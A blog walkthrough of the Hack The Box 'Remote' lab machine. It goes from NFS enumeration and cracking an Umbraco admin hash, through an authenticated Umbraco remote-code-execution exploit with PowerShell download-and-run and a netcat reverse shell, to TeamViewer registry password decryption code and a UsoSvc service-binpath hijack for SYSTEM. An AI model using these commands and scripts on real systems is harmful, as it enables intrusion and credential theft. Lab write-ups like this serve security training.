Hackthebox – Remote

As with any target, Remote starts with a port scan.

root@kalivm:~/Remote# nmap -sTV -p 1-65535 -oN fullscan_tcp
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-06 15:16 CEST
Nmap scan report for remote.htb (
Host is up (0.019s latency).
Not shown: 65519 closed ports
21/tcp    open  ftp           Microsoft ftpd
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
111/tcp   open  rpcbind       2-4 (RPC #100000)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  mountd        1-3 (RPC #100005)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1305.43 seconds

So ports 21, 80, 445, 5985 all indicate this must be a windows box (obviously that was also stated on HTB, but alas). However, on a Windows Box, what does NFS do there on that port 2049? Time make a mental note and look at that after the obvious ports. Port 21 gave an anonymous but empty ftp server, no luck there. Port 445 refused to give any information. For 5985, I’d require credentials which I do not (yet) have so lets take a quick peek at the website.

Wile E. Coyote, nice joke there… something must go wrong on this box!

After some quick browsing, I end up at the contacts page where it becomes even more obvious that this is an Umbraco installation. Through my day-job, I already heard that Umbraco tends to hold quite some vulnerabilities, so this has to be the way in.

After clicking that link however, I get redirected to this login page, and I do not yet have any credentials. Some additional browsing did not yield any useful results, so it might be a good moment to check out that NFS port.

root@kalivm:~/Remote# showmount -e
Export list for
/site_backups (everyone)

Apparently a site_backups directory is shared over NFS on this box and it’s accessible to everyone, let’s see what it contains.

root@kalivm:~/Remote# mount -t nfs site_backups
root@kalivm:~/Remote# ls site_backups/
App_Browsers  App_Data  App_Plugins  aspnet_client  bin  Config  css  default.aspx  Global.asax  Media  scripts  Umbraco  Umbraco_Client  Views  Web.config

It upholds its name and appears to contain a backup of the Umbraco site. As backups tend to hold nice secrets lets check out what’s on that share.

root@kalivm:~/Remote# ls site_backups/App_Data/
cache  Logs  Models  packages  TEMP  umbraco.config  Umbraco.sdf

After some browsing through the directories, looking for usernames and passwords, I end up with the Umbraco database (.sdf file). From various posts I had already found that the database contains the login passwords in an encrypted fashion, and that normally, these encrypted passwords should be ok-ish protected. However, lets check what the contents of this file are.

root@kalivm:~/Remote# strings -n 10 site_backups/App_Data/Umbraco.sdf 

So as expected, there are various password hashes in the Umbraco database backup, one of which appears to be a SHA1 hash for admin@htb.local. This might be less well protected than expected.

Throwing the hash in crackstation provides me with the password baconandcheese so now it’s time to try to login to Umbraco.

After going to the contacts page again, and clicking the link there, I get back to the login page and enter the discovered credentials.

Having a set of working credentials, it was time to figure out if there would be any pre-built exploit available.

root@kalivm:~/Remote# searchsploit umbraco
----------------------------------------------------- ----------------------------------
 Exploit Title                                       |  Path
                                                     | (/usr/share/exploitdb/)
----------------------------------------------------- ----------------------------------
Umbraco CMS - Remote Command Execution (Metasploit)  | exploits/windows/webapps/19671.rb
Umbraco CMS 7.12.4 - (Authenticated) Remote Code Exec| exploits/aspx/webapps/46153.py
Umbraco CMS SeoChecker Plugin 1.9.2 - Cross-Site Scri| exploits/php/webapps/44988.txt
----------------------------------------------------- ----------------------------------

So there is at least one python based exploit available, however, while trying this exploit, I ran into several issues and chatting with one person lead me to this additional exploit on github. The exploit creator stated this exploit was a rewrite of the ExploitDB one. He also provided some pretty straight-forward instructions as to how to use the exploit.

root@kalivm:~/Remote# ./exploit.py -u admin@htb.local -p baconandcheese -i '' -c cmd.exe -a '/c powershell iwr -uri -outfile c:/windows/temp/sedje.ps1'

So download the exploit from github and run it in order to get the default PowerShell Reverse Shell over.

root@kalivm:~/Remote# pythonwww 80
Serving HTTP on port 80 ( ... - - [07/Apr/2020 13:22:26] "GET /reverse.ps1 HTTP/1.1" 200 -

Meanwhile in the other terminal, I see that the file is being downloaded. Time to start the listener and see if I can call the shell.

root@kalivm:~/Remote# ./exploit.py -u admin@htb.local -p baconandcheese -i '' -c cmd.exe -a '/c powershell c:/windows/temp/sedje.ps1'

Using a similar PowerShell command as in Hackthebox – JSON.

root@kalivm:~/Remote# rlwrap nc -nlvp 9000
Listening on 9000
Connection received on 49684
Windows PowerShell running as user REMOTE$ on REMOTE
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool

And there’s the shell, connected as defaultapppool user from IIS, time to see if this is enough to find the user flag.

PS C:\windows\system32\inetsrv> type c:\users\public\user.txt

And after some searching, I found the user.txt in the public directory on the C drive. On to privilege escalation.

Privilege escalation

When doing the first steps in Privilege Escalation Enumeration, I look at the Program Files directories and see a TeamViewer directory.

PS C:\Program Files (x86)> dir TeamViewer 

    Directory: C:\Program Files (x86)\TeamViewer

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        2/27/2020  10:35 AM                Version7

Closer inspection tells me that this a TeamViewer version 7, and I have some vague recollection of the fact that teamviewer used to store its passwords in a decryptable state in the registry. So I start to google a bit and come up to This blogpost on whynotsecurity.com about it. After reading through the blog post, I see that by querying the Version7 Registry keys, I should be able to obtain the Password Hash from Teamviewer.

PS C:\windows\system32\inetsrv> reg query HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7 /S

    StartMenuGroup    REG_SZ    TeamViewer 7
    InstallationDate    REG_SZ    2020-02-20
    InstallationDirectory    REG_SZ    C:\Program Files (x86)\TeamViewer\Version7
    Always_Online    REG_DWORD    0x1
    Security_ActivateDirectIn    REG_DWORD    0x0
    Version    REG_SZ    7.0.43148
    ClientIC    REG_DWORD    0x11f25831
    PK    REG_BINARY    BFAD2AEDB6C89AE0A0FD0501A0C5B9A5C0D957A4CC57C1884C84B6873EA03C069CF06195829821E28DFC2AAD372665339488DD1A8C85CDA8B19D0A5A2958D86476D82CA0F2128395673BA5A39F2B875B060D4D52BE75DB2B6C91EDB28E90DF7F2F3FBE6D95A07488AE934CC01DB8311176AEC7AC367AB4332ABD048DBFC2EF5E9ECC1333FC5F5B9E2A13D4F22E90EE509E5D7AF4935B8538BE4A606AB06FE8CC657930A24A71D1E30AE2188E0E0214C8F58CD2D5B43A52549F0730376DD3AE1DB66D1E0EBB0CF1CB0AA7F133148D1B5459C95A24DDEE43A76623759017F21A1BC8AFCD1F56FD0CABB340C9B99EE3828577371B7ADA9A8F967A32ADF6CF062B00026C66F8061D5CFF89A53EAE510620BC822BC6CC615D4DE093BC0CA8F5785131B75010EE5F9B6C228E650CA89697D07E51DBA40BF6FC3B2F2E30BF6F1C01F1BC2386FA226FFFA2BE25AE33FA16A2699A1124D9133F18B50F4DB6EDA2D23C2B949D6D2995229BC03507A62FCDAD55741B29084BD9B176CFAEDAAA9D48CBAF2C192A0875EC748478E51156CCDD143152125AE7D05177083F406703ED44DCACCD48400DD88A568520930BED69FCD672B15CD3646F8621BBC35391EAADBEDD04758EE8FC887BACE6D8B59F61A5783D884DBE362E2AC6EAC0671B6B5116345043257C537D27A8346530F8B7F5E0EBACE9B840E716197D4A0C3D68CFD2126E8245B01E62B4CE597AA3E2074C8AB1A4583B04DBB13F13EB54E64B850742A8E3E8C2FAC0B9B0CF28D71DD41F67C773A19D7B1A2D0A257A4D42FC6214AB870710D5E841CBAFCD05EF13B372F36BF7601F55D98ED054ED0F321AEBA5F91D390FF0E8E5815E6272BA4ABB3C85CF4A8B07851903F73317C0BC77FA12A194BB75999319222516
    SK    REG_BINARY    F82398387864348BAD0DBB41812782B1C0ABB9DAEEF15BC5C3609B2C5652BED7A9A07EA41B3E7CB583A107D39AFFF5E06DF1A06649C07DF4F65BD89DE84289D0F2CBF6B8E92E7B2901782BE8A039F2903552C98437E47E16F75F99C07750AEED8CFC7CD859AE94EC6233B662526D977FFB95DD5EB32D88A4B8B90EC1F8D118A7C6D28F6B5691EB4F9F6E07B6FE306292377ACE83B14BF815C186B7B74FFF9469CA712C13F221460AC6F3A7C5A89FD7C79FF306CEEBEF6DE06D6301D5FD9AB797D08862B9B7D75B38FB34EF82C77C8ADC378B65D9ED77B42C1F4CB1B11E7E7FB2D78180F40C96C1328970DA0E90CDEF3D4B79E08430E546228C000996D846A8489F61FE07B9A71E7FB3C3F811BB68FDDF829A7C0535BA130F04D9C7C09B621F4F48CD85EA97EF3D79A88257D0283BF2B78C5B3D4BBA4307D2F38D3A4D56A2706EDAB80A7CE20E21099E27481C847B49F8E91E53F83356323DDB09E97F45C6D103CF04693106F63AD8A58C004FC69EF8C506C553149D038191781E539A9E4E830579BCB4AD551385D1C9E4126569DD96AE6F97A81420919EE15CF125C1216C71A2263D1BE468E4B07418DE874F9E801DA2054AD64BE1947BE9580D7F0E3C138EE554A9749C4D0B3725904A95AEBD9DACCB6E0C568BFA25EE5649C31551F268B1F2EC039173B7912D6D58AA47D01D9E1B95E3427836A14F71F26E350B908889A95120195CC4FD68E7140AA8BB20E211D15C0963110878AAB530590EE68BF68B42D8EEEB2AE3B8DEC0558032CFE22D692FF5937E1A02C1250D507BDE0F51A546FE98FCED1E7F9DBA3281F1A298D66359C7571D29B24D1456C8074BA570D4D0BA2C3696A8A9547125FFD10FBF662E597A014E0772948F6C5F9F7D0179656EAC2F0C7F
    LastMACUsed    REG_MULTI_SZ    \0005056B9F7B4
    MIDInitiativeGUID    REG_SZ    {514ed376-a4ee-4507-a28b-484604ed0ba0}
    MIDVersion    REG_DWORD    0x1
    ClientID    REG_DWORD    0x6972e4aa
    CUse    REG_DWORD    0x1
    LastUpdateCheck    REG_DWORD    0x5e72893c
    UsageEnvironmentBackup    REG_DWORD    0x1
    SecurityPasswordAES    REG_BINARY    FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B
    MultiPwdMgmtIDs    REG_MULTI_SZ    admin
    MultiPwdMgmtPWDs    REG_MULTI_SZ    357BC4C8F33160682B01AE2D1C987C3FE2BAE09455B94A1919C4CD4984593A77
    Security_PasswordStrength    REG_DWORD    0x3

    AC_Server_AccessControlType    REG_DWORD    0x0

    Autostart_GUI    REG_DWORD    0x1

Even better, the blog post comes with this python script, in which I only have to replace the provided hash with the hash I just found.

#!/usr/bin/env python3
import sys, hexdump, binascii
from Crypto.Cipher import AES

class AESCipher:
    def __init__(self, key):
        self.key = key

    def decrypt(self, iv, data):
        self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self.cipher.decrypt(data)

key = binascii.unhexlify("0602000000a400005253413100040000")
iv = binascii.unhexlify("0100010067244F436E6762F25EA8D704")
hex_str_cipher = "FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B"

ciphertext = binascii.unhexlify(hex_str_cipher)

raw_un = AESCipher(key).decrypt(iv, ciphertext)


password = raw_un.decode('utf-16')

After making some slight modifications, it should now be ready to be executed.

root@kalivm:~/Remote# ./teamviewer_decrypt.py
00000000: 21 00 52 00 33 00 6D 00  30 00 74 00 65 00 21 00  !.R.3.m.0.t.e.!.
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................

So !R3m0te! could be the admin’s password, time to try that with winRM.

root@kalivm:~/Remote# evil-winrm -u Administrator -i
Enter Password: 

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

    Directory: C:\users\administrator\desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         4/7/2020  12:38 AM             34 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt

And there we have the flag. However, while chatting on Discord, it was mentioned that there was an alternate route, so it is time to discover that route too!

Alternate route

After some of the normal privesc actions, I checked the services with accesschk64.

PS C:\windows\system32\inetsrv> cd c:\windows\temp\
PS C:\windows\temp> iwr -outfile .\accesschk64.exe
PS C:\windows\temp> ./accesschk64.exe -uwcqv * -accepteula
  Medium Mandatory Level (Default) [No-Write-Up]

It appeared that the UsoSvc service can be configured by service accounts, which I’m currently accessing the system under.

PS C:\windows\system32\inetsrv> sc.exe qc usosvc
[SC] QueryServiceConfig SUCCESS

        TYPE               : 20  WIN32_SHARE_PROCESS 
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : c:\windows\system32\svchost.exe -k netsvcs -p
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : Update Orchestrator Service
        DEPENDENCIES       : rpcss
        SERVICE_START_NAME : LocalSystem

An additional check shows that this service runs as LocalSystem user.

PS C:\windows\system32\inetsrv> Invoke-WebRequest -uri -outfile c:/windows/temp/sed3.ps1'
PS C:\windows\system32\inetsrv> sc.exe config usosvc binpath= "cmd.exe /c powershell c:\windows\temp\sed3.ps1"
[SC] ChangeServiceConfig SUCCESS
PS C:\windows\system32\inetsrv> sc.exe start usosvc
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

So I slightly modify the reverse.ps1 to connect to another port and then start the reconfigured service with it. And meanwhile in another Listener shell..

root@kalivm:~/Remote# rlwrap nc -nlvp 9003
Listening on 9003 
Connection received on 49762
Windows PowerShell running as user REMOTE$ on REMOTE
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
nt authority\system

So I am now connected with System privileges. Time to get that flag (again) and be done with it.

PS C:\Windows\system32> dir c:\users\administrator\desktop

    Directory: C:\users\administrator\desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         4/7/2020  12:38 AM             34 root.txt

PS C:\Windows\system32> type c:\users\administrator\desktop\root.txt

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.